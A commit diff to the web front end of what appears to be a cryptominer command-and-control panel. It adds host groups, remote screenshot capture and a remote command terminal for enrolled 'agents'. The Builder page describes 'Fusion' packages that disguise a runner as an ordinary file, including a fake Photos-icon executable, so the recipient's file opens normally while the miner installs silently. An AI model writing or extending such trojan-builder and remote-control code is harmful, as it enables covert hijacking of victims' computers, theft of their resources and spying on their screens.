Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
This commit is contained in:
@@ -16,6 +16,11 @@ import {
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||||
import { groupsForAgent } from '../help/fleetGroups';
|
||||
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||||
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||||
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -96,6 +101,34 @@ export default function AgentsPage() {
|
||||
const [metaMsg, setMetaMsg] = useState('');
|
||||
const isConnectedRef = useRef(isConnected);
|
||||
isConnectedRef.current = isConnected;
|
||||
const screenshotWatchId = useRef<string | null>(null);
|
||||
const screenshotSeqRef = useRef(0);
|
||||
const [showGroupModal, setShowGroupModal] = useState(false);
|
||||
const { groups, addGroup, removeGroup } = useFleetGroups();
|
||||
|
||||
const onlineAgentIds = useMemo(
|
||||
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
|
||||
[agents]
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length || !screenshotWatchId.current) return;
|
||||
const watch = screenshotWatchId.current;
|
||||
for (const r of commandResults) {
|
||||
if (r._seq <= screenshotSeqRef.current) continue;
|
||||
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
|
||||
screenshotSeqRef.current = r._seq;
|
||||
screenshotWatchId.current = null;
|
||||
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
|
||||
if (r.success && r.message) {
|
||||
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
|
||||
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
|
||||
} else {
|
||||
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}, [commandResults, agents]);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
@@ -280,6 +313,33 @@ export default function AgentsPage() {
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === 'screenshot') {
|
||||
if (onlineIds.length !== 1) {
|
||||
alert('Select exactly one online machine (checkbox) for screenshot.');
|
||||
return;
|
||||
}
|
||||
const id = onlineIds[0];
|
||||
const label = agents.find((a) => a.id === id)?.name ?? 'agent';
|
||||
screenshotWatchId.current = id;
|
||||
if (commandResults?.length) {
|
||||
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
|
||||
}
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
const res = await api.sendAgentCommand(id, 'screenshot');
|
||||
if (res.success === false) {
|
||||
screenshotWatchId.current = null;
|
||||
alert(res.error ?? 'Screenshot command rejected');
|
||||
}
|
||||
} catch (err) {
|
||||
screenshotWatchId.current = null;
|
||||
alert(err instanceof Error ? err.message : 'Screenshot failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
||||
|
||||
setBulkBusy(true);
|
||||
@@ -333,8 +393,17 @@ export default function AgentsPage() {
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
onCreateGroup={() => setShowGroupModal(true)}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
<FleetGroupsStrip
|
||||
groups={groups}
|
||||
liveAgentIds={onlineAgentIds}
|
||||
selectedCount={selectedIds.size}
|
||||
onSelectGroup={(g) => setSelectedIds(new Set(g.agentIds))}
|
||||
onDeleteGroup={removeGroup}
|
||||
onCreateGroup={() => setShowGroupModal(true)}
|
||||
/>
|
||||
<div className="agents-list">
|
||||
{filteredAgents.map((agent) => (
|
||||
<AgentListItem
|
||||
@@ -348,6 +417,7 @@ export default function AgentsPage() {
|
||||
onSelect={() => void selectAgent(agent)}
|
||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||
commandResults={commandResults}
|
||||
memberGroups={groupsForAgent(groups, agent.id)}
|
||||
/>
|
||||
))}
|
||||
{filteredAgents.length === 0 && (
|
||||
@@ -551,6 +621,16 @@ export default function AgentsPage() {
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
<CreateGroupModal
|
||||
open={showGroupModal}
|
||||
agentCount={selectedIds.size}
|
||||
onClose={() => setShowGroupModal(false)}
|
||||
onCreate={(name, color) => {
|
||||
addGroup(name, color, [...selectedIds]);
|
||||
setShowGroupModal(false);
|
||||
}}
|
||||
/>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
@@ -426,14 +426,23 @@ export default function BuilderPage() {
|
||||
const applyFusionFileSelection = (f: File | null) => {
|
||||
setFusionPrepFile(f);
|
||||
if (!f) return;
|
||||
const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name);
|
||||
// Images in embedded mode often blow up compile size; paired ZIP is reliable for any size.
|
||||
const preferPaired = isImage || f.size > 500 * 1024 * 1024;
|
||||
setForm((prev) => {
|
||||
if (!prev) return prev;
|
||||
return {
|
||||
return normalizeForgeForm({
|
||||
...prev,
|
||||
fusion_payload_kind: fusionPayloadKind(f),
|
||||
fusion_media_base_name: f.name,
|
||||
fusion_output_name: defaultRunnerName(f.name),
|
||||
};
|
||||
...(preferPaired && prev.fusion_media_mode === 'embedded'
|
||||
? { fusion_media_mode: 'paired' as const }
|
||||
: {}),
|
||||
...(!prev.fusion_enabled
|
||||
? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' }
|
||||
: {}),
|
||||
});
|
||||
});
|
||||
};
|
||||
|
||||
@@ -1547,21 +1556,44 @@ export default function BuilderPage() {
|
||||
? 'Drop any file — PDF, video, document, image, or executable. It opens normally while the miner installs silently. Each file gets its own universal ZIP for Windows, Mac, and Linux.'
|
||||
: 'Fuse the miner with any file. The recipient sees their file open as normal; the miner runs invisibly. Produces a universal ZIP for all platforms.'}
|
||||
/>
|
||||
{deliverableType !== 'fusion' && (
|
||||
<div className={`form-group checkbox-group ${fieldMeta.fusion_enabled?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={form.fusion_enabled}
|
||||
disabled={fieldMeta.fusion_enabled?.disabled}
|
||||
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
|
||||
onChange={(e) => {
|
||||
if (e.target.checked) {
|
||||
setForm((prev) =>
|
||||
prev
|
||||
? normalizeForgeForm({
|
||||
...prev,
|
||||
fusion_enabled: true,
|
||||
spread_kit: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
})
|
||||
: prev
|
||||
);
|
||||
} else {
|
||||
setDeliverableType('single');
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="fusion_enabled" />
|
||||
<ForgeLockedHint meta={fieldMeta.fusion_enabled} />
|
||||
{form.fusion_enabled && (
|
||||
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
|
||||
Uncheck <strong>Enable Fusion</strong> above to return to a plain single-platform worker build.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
{deliverableType === 'fusion' && (
|
||||
{deliverableType === 'fusion' && form.fusion_enabled && (
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Fusion selected — drop your files below and forge. Each file becomes its own universal ZIP (Windows + Mac + Linux) that can be sent to any machine.
|
||||
Fusion deliverable — drop your file below and forge. Output is one universal ZIP (Windows + Mac + Linux).
|
||||
</p>
|
||||
)}
|
||||
{form.fusion_enabled && (
|
||||
@@ -1785,6 +1817,20 @@ export default function BuilderPage() {
|
||||
<p className="form-hint">
|
||||
Output: one universal ZIP containing runners for every OS. Each runner opens <code>{fusionPrepFile?.name || 'your file'}</code> and silently installs the worker.
|
||||
</p>
|
||||
{fusionPrepFile && (
|
||||
<div className="fusion-output-preview card" style={{ marginTop: '0.75rem', padding: '0.75rem 1rem', fontSize: '0.85rem' }}>
|
||||
<p className="font-tech" style={{ marginBottom: '0.5rem', color: 'var(--neon-cyan)' }}>WHAT YOU GET — {fusionFileTypeLabel(fusionPrepFile.name).toUpperCase()}</p>
|
||||
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem', lineHeight: 1.6 }}>
|
||||
<li><strong>Windows:</strong> <code>Start.bat</code> or disguised runner (e.g. <code>{disguisedDisplayName(fusionPrepFile.name)}</code> with Photos icon) — opens the image in the default viewer, miner runs hidden.</li>
|
||||
<li><strong>Linux:</strong> <code>start.sh</code> → <code>bin/linux-amd64/{fusionPrepFile.name.replace(/\.[^.]+$/, '')}-runner</code></li>
|
||||
<li><strong>macOS:</strong> <code>Start.command</code> or <code>{fusionTitleFromFilename(fusionPrepFile.name)}.app</code> bundle</li>
|
||||
{fusionMediaMode === 'paired' && (
|
||||
<li><strong>ZIP also includes:</strong> your original <code>{fusionPrepFile.name}</code> at the root (paired mode).</li>
|
||||
)}
|
||||
<li>Download: <code>{fusionTitleFromFilename(fusionPrepFile.name)}-package.zip</code> under fusion-deliverables on the server.</li>
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||
<div className="fusion-estimate-panel card">
|
||||
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
|
||||
|
||||
@@ -358,6 +358,16 @@
|
||||
|
||||
.crucible-group-item:hover { background: rgba(178, 75, 243, 0.2); }
|
||||
|
||||
.cn-group-pill {
|
||||
margin-left: 0.4rem;
|
||||
font-size: 0.65rem;
|
||||
padding: 0.05rem 0.35rem;
|
||||
border-radius: 4px;
|
||||
border: 1px solid;
|
||||
font-weight: 600;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
.cg-name { flex: 1; color: var(--text-primary); font-weight: 500; }
|
||||
.cg-count { color: var(--text-muted); font-size: 0.75rem; }
|
||||
.cg-del {
|
||||
|
||||
@@ -4,7 +4,12 @@ import { api } from '../api/client';
|
||||
import type { Agent, AgentService } from '../types';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||||
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||||
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||||
import { formatHashrate } from '../help/fleetFilters';
|
||||
import { primaryGroupForAgent } from '../help/fleetGroups';
|
||||
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||||
import { useMatrixRain } from '../context/MatrixRainContext';
|
||||
import './CruciblePage.css';
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────────────────────
|
||||
@@ -68,12 +73,6 @@ interface RichPostureSummary {
|
||||
|
||||
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary;
|
||||
|
||||
interface NodeGroup {
|
||||
id: string;
|
||||
name: string;
|
||||
agentIds: Set<string>;
|
||||
}
|
||||
|
||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
const AGENT_COLORS = [
|
||||
@@ -82,7 +81,8 @@ const AGENT_COLORS = [
|
||||
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
|
||||
];
|
||||
|
||||
export function agentColor(agentId: string, allIds: string[]): string {
|
||||
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
|
||||
if (groupColor) return groupColor;
|
||||
const idx = allIds.indexOf(agentId);
|
||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
|
||||
}
|
||||
@@ -286,11 +286,12 @@ const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONL
|
||||
|
||||
export default function CruciblePage() {
|
||||
const { agents, commandResults } = useWebSocket();
|
||||
const { setCrucibleFocus } = useMatrixRain();
|
||||
|
||||
// Selection
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [groups, setGroups] = useState<NodeGroup[]>([]);
|
||||
const [groupNameInput, setGroupNameInput] = useState('');
|
||||
const [showGroupModal, setShowGroupModal] = useState(false);
|
||||
const { groups, addGroup, removeGroup } = useFleetGroups();
|
||||
|
||||
// Terminal
|
||||
const [termLines, setTermLines] = useState<TermLine[]>([]);
|
||||
@@ -317,6 +318,15 @@ export default function CruciblePage() {
|
||||
|
||||
const online = (a: Agent) => a.status === 'online';
|
||||
|
||||
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
|
||||
const crucibleTargetReady =
|
||||
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
|
||||
|
||||
useEffect(() => {
|
||||
setCrucibleFocus(crucibleTargetReady);
|
||||
return () => setCrucibleFocus(false);
|
||||
}, [crucibleTargetReady, setCrucibleFocus]);
|
||||
|
||||
// Prune selectedIds when agents are removed (e.g. after roster delete).
|
||||
useEffect(() => {
|
||||
const liveIds = new Set(agents.map((a) => a.id));
|
||||
@@ -427,17 +437,12 @@ export default function CruciblePage() {
|
||||
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
|
||||
const clearSel = () => setSelectedIds(new Set());
|
||||
|
||||
const addGroup = () => {
|
||||
if (!groupNameInput.trim() || selectedIds.size === 0) return;
|
||||
setGroups((prev) => [
|
||||
...prev,
|
||||
{ id: mkId(), name: groupNameInput.trim(), agentIds: new Set(selectedIds) },
|
||||
]);
|
||||
setGroupNameInput('');
|
||||
};
|
||||
const onlineAgentIds = useMemo(
|
||||
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
|
||||
[agents]
|
||||
);
|
||||
|
||||
const activateGroup = (g: NodeGroup) => setSelectedIds(new Set(g.agentIds));
|
||||
const deleteGroup = (id: string) => setGroups((prev) => prev.filter((g) => g.id !== id));
|
||||
const activateGroup = (g: { agentIds: string[] }) => setSelectedIds(new Set(g.agentIds));
|
||||
|
||||
// ── Dispatch command ───────────────────────────────────────────────────
|
||||
|
||||
@@ -464,8 +469,24 @@ export default function CruciblePage() {
|
||||
: 'exec';
|
||||
|
||||
await Promise.all(
|
||||
tgts.map((a) =>
|
||||
api.sendAgentCommand(a.id, action, { command }).catch((err) => {
|
||||
tgts.map(async (a) => {
|
||||
try {
|
||||
const res = await api.sendAgentCommand(a.id, action, { command });
|
||||
if (res.success === false) {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: a.id,
|
||||
agentName: a.name,
|
||||
isCmd: false,
|
||||
text: `[ERROR] ${res.error ?? 'command rejected'}`,
|
||||
ts: new Date(),
|
||||
success: false,
|
||||
},
|
||||
]);
|
||||
}
|
||||
} catch (err) {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
@@ -478,8 +499,8 @@ export default function CruciblePage() {
|
||||
success: false,
|
||||
},
|
||||
]);
|
||||
})
|
||||
)
|
||||
}
|
||||
})
|
||||
);
|
||||
setBusy(false);
|
||||
cmdRef.current?.focus();
|
||||
@@ -745,9 +766,23 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
|
||||
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
|
||||
{selectedIds.size > 0 && (
|
||||
<button className="button crucible-btn" onClick={() => setShowGroupModal(true)}>
|
||||
Create group…
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<FleetGroupsStrip
|
||||
groups={groups}
|
||||
liveAgentIds={onlineAgentIds}
|
||||
selectedCount={selectedIds.size}
|
||||
onSelectGroup={activateGroup}
|
||||
onDeleteGroup={removeGroup}
|
||||
onCreateGroup={() => setShowGroupModal(true)}
|
||||
/>
|
||||
|
||||
{/* ── Node Roster ─────────────────────────────────────────────────── */}
|
||||
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
@@ -762,12 +797,16 @@ export default function CruciblePage() {
|
||||
const isOn = online(a);
|
||||
const ssh = sshStatus(a);
|
||||
const posture = postureStatus(a);
|
||||
const color = agentColor(a.id, allIds);
|
||||
const pg = primaryGroupForAgent(groups, a.id);
|
||||
const color = agentColor(a.id, allIds, pg?.color);
|
||||
return (
|
||||
<div
|
||||
key={a.id}
|
||||
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
||||
style={sel ? { '--sel-color': color } as React.CSSProperties : undefined}
|
||||
style={{
|
||||
...(sel ? { '--sel-color': color } : {}),
|
||||
...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
|
||||
} as React.CSSProperties}
|
||||
onClick={() => toggle(a.id)}
|
||||
>
|
||||
<div className="crucible-node-check">
|
||||
@@ -775,9 +814,14 @@ export default function CruciblePage() {
|
||||
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
|
||||
</div>
|
||||
<div className="crucible-node-body">
|
||||
<div className="cn-name" style={sel ? { color } : undefined}>
|
||||
<div className="cn-name" style={sel || pg ? { color: pg?.color ?? color } : undefined}>
|
||||
<span className="cn-platform">{platformIcon(a.platform)}</span>
|
||||
{a.name}
|
||||
{pg && (
|
||||
<span className="cn-group-pill" style={{ color: pg.color, borderColor: `${pg.color}66` }}>
|
||||
{pg.name}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="cn-meta">
|
||||
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
|
||||
@@ -921,32 +965,43 @@ export default function CruciblePage() {
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> GROUPS
|
||||
</div>
|
||||
<div className="crucible-groups-list">
|
||||
{groups.length === 0 && (
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Select nodes above, name a group, save it here.
|
||||
</p>
|
||||
)}
|
||||
{groups.map((g) => (
|
||||
<div key={g.id} className="crucible-group-item" onClick={() => activateGroup(g)}>
|
||||
<span className="cg-name">{g.name}</span>
|
||||
<span className="cg-count">{g.agentIds.size} nodes</span>
|
||||
<button className="cg-del" onClick={(e) => { e.stopPropagation(); deleteGroup(g.id); }}>×</button>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<div className="crucible-group-new">
|
||||
<input
|
||||
className="crucible-input"
|
||||
value={groupNameInput}
|
||||
onChange={(e) => setGroupNameInput(e.target.value)}
|
||||
onKeyDown={(e) => e.key === 'Enter' && addGroup()}
|
||||
placeholder={`Name group (${selectedIds.size} selected)…`}
|
||||
/>
|
||||
<button className="button crucible-btn" onClick={addGroup} disabled={!groupNameInput.trim() || selectedIds.size === 0}>
|
||||
Save
|
||||
<p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
|
||||
Same groups as Fleet Roster — click a chip to select all members.
|
||||
</p>
|
||||
{groups.length === 0 ? (
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Select nodes, then <strong>Create group…</strong> to name and color them.
|
||||
</p>
|
||||
) : (
|
||||
<div className="crucible-groups-list">
|
||||
{groups.map((g) => (
|
||||
<div
|
||||
key={g.id}
|
||||
className="crucible-group-item"
|
||||
style={{
|
||||
borderColor: `${g.color}55`,
|
||||
background: `${g.color}14`,
|
||||
}}
|
||||
onClick={() => activateGroup(g)}
|
||||
>
|
||||
<span className="fleet-group-chip-dot" style={{ background: g.color }} />
|
||||
<span className="cg-name" style={{ color: g.color }}>{g.name}</span>
|
||||
<span className="cg-count">{g.agentIds.length} nodes</span>
|
||||
<button className="cg-del" onClick={(e) => { e.stopPropagation(); removeGroup(g.id); }}>×</button>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{selectedIds.size > 0 && (
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-btn"
|
||||
style={{ marginTop: '0.75rem' }}
|
||||
onClick={() => setShowGroupModal(true)}
|
||||
>
|
||||
Create group from selection ({selectedIds.size})
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
|
||||
@@ -1186,6 +1241,16 @@ export default function CruciblePage() {
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<CreateGroupModal
|
||||
open={showGroupModal}
|
||||
agentCount={selectedIds.size}
|
||||
onClose={() => setShowGroupModal(false)}
|
||||
onCreate={(name, color) => {
|
||||
addGroup(name, color, [...selectedIds]);
|
||||
setShowGroupModal(false);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user